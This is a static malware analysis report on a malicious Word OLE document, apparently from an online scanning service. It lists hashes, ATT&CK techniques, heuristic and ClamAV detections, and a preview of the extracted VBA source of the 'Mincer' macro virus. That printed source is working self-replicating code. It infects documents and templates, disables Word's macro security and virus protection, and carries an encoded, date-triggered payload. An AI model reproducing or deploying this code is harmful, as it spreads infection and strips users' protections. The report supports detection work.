Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 19064928c263c0ef…

MALICIOUS

Office (OLE)

42.0 KB Created: 2004-08-02 18:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3e8576ca14b02172fb3a951e9e4014f3 SHA-1: 45975500b9f931585620c07a24daf9e1281fe2af SHA-256: 19064928c263c0efd19ca394587e987fb4655233f080e0061878cd367a23d721
370 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1047 WMI

The sample is a malicious OLE document containing VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon opening or closing the document. The presence of a Shell() call and legacy WordBasic markers strongly suggests an intent to execute arbitrary code. The script attempts to manipulate VBA projects within documents and templates, likely to hide or propagate malicious components. The ClamAV detections 'Win.Trojan.Psycho-3' and 'Win.Trojan.C-286' further confirm its malicious nature.

Heuristics 9

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25642 bytes
SHA-256: 798798bcb52a9ea313723b2014769a424c42d2ac31dc293a87da2a334c37bb19
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MX"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Mincer"
'<-Mincer!->
Sub Cl()
On Error Resume Next
For Each doc In Documents
For Each A In doc.VBProject.vbcomponents
If A.Type <> 100 Then
Application.OrganizerDelete doc.FullName, A.Name, wdOrganizerObjectProjectItems
Else
If A.codemodule.lines(1, 1) <> "'<-Mincer!->" Then A.codemodule.deletelines 1, A.codemodule.CountOfLines
End If
Next A
Next doc
For Each dot In Templates
For Each A In dot.VBProject.vbcomponents
If A.Type <> "100" And A.Name <> "Mincer" Then
Application.OrganizerDelete dot.FullName, A.Name, wdOrganizerObjectProjectItems
Else
If A.codemodule.lines(1, 1) <> "'<-Mincer!->" Then A.codemodule.deletelines 1, A.codemodule.CountOfLines
End If
Next A
Next dot
End Sub
Sub IND()
On Error Resume Next
Dim body As String, RET As Boolean, NC As String
For Each Vs In MacroContainer.VBProject.vbcomponents
If Vs.Name = "Mincer" Then Set Vs = Vs.codemodule: Exit For
Next Vs
body = Vs.lines(1, Vs.CountOfLines)
For Each doc In Documents
If doc.VBProject.vbcomponents.Item(1).codemodule.lines(1, 1) <> "'<-Mincer!->" And doc.VBProject.vbcomponents.Item(1).Name <> "MX" Then
vak = InStr(doc.FullName, ":")
If (vak = 0 Or doc.ReadOnly = True) And doc.Saved = False Then
Set ill = doc.VBProject.vbcomponents.Item(1).codemodule
ill.InsertLines 1, body
doc.VBProject.vbcomponents.Item(1).Name = "Mincer"
ElseIf vak <> 0 And doc.ReadOnly = False Then
Set ill = doc.VBProject.vbcomponents.Item(1).codemodule
ill.InsertLines 1, body
doc.VBProject.vbcomponents.Item(1).Name = "Mincer"
End If
End If
Next doc
End Sub
Sub INO()
On Error Resume Next
Dim body As String, RET As Boolean, NC As String
NC = Environ("WINDIR")
If Dir(NC & "\SYSTEM\Mincer.dll") = "" Then
Open NC & "\SYSTEM\Mincer.dll" For Output As 1
For Each Vs In MacroContainer.VBProject.vbcomponents
If Vs.Name = "Mincer" Then Set Vs = Vs.codemodule: Exit For
Next Vs
body = Vs.lines(1, Vs.CountOfLines)
Print #1, "Attribute VB_Name=""Mincer"""
Print #1, body
Close
End If
For Each dot In Templates
RET = False
For Each A In dot.VBProject.vbcomponents
If A.Name = "Mincer" And A.Type <> 100 Then RET = True
Next A
If RET = False Then
dot.VBProject.vbcomponents.Import (NC & "\SYSTEM\Mincer.dll")
End If
Next dot
End Sub
Sub AutoExit()
On Error Resume Next
Application.ShowVisualBasicEditor = False
Application.EnableCancelKey = wdCancelDisabled
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
With Options
.VirusProtection = False
.AllowFastSave = True
.SavePropertiesPrompt = False
.SaveNormalPrompt = False
End With
WordBasic.DisableAutoMacros 0
sa = NormalTemplate.Saved
For Each l In CommandBars("tools").Controls
If l.ID = 522 Or l.ID = 751 Or l.ID = 797 Then l.OnAction = "AutoOpen"
Next l
NormalTemplate.Saved = sa
For Each doc In Documents
doc.ReadOnlyRecommended = False
doc.SaveFormsData = False
Next doc
End Sub
Sub MySpy()
On Error Resume Next
Dim NC As String
NC = Environ("WINDIR")
If Dir(NC & "\Media\MySpy.dot") = "" Then
WordBasic.DisableAutoMacros 1
Documents.Add NewTemplate:=True
ActiveDocument.VBProject.vbcomponents.Item(1).Name = "MX"
INO
ActiveDocument.SaveAs NC & "\Media\MySpy.dot", , , , False
Options.DefaultFilePath(Path:=wdUserTemplatesPath) = NC
Options.DefaultFilePath(Path:=wdStartupPath) = NC & "\Media"
ActiveDocument.Close
End If
WordBasic.DisableAutoMacros 0
End Sub
Sub AutoExec()
Test
Cl
AutoExit
INO
End Sub
Sub Test()
On Error Resume Next
Dim A As String, C As Long, B As String
If Format(Date, "d") <> 2 Then Exit Sub
A = "9460301/3/4/65535/184/0/64/0/0/0/0/0/0/0/0/128/247078670/-855002112/1275181089/1750344141/1881174889/1919381362/1663069537/1869508193/1700929652/1853190688/544106784/542330692/1701080941/168627502/36/0/177
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.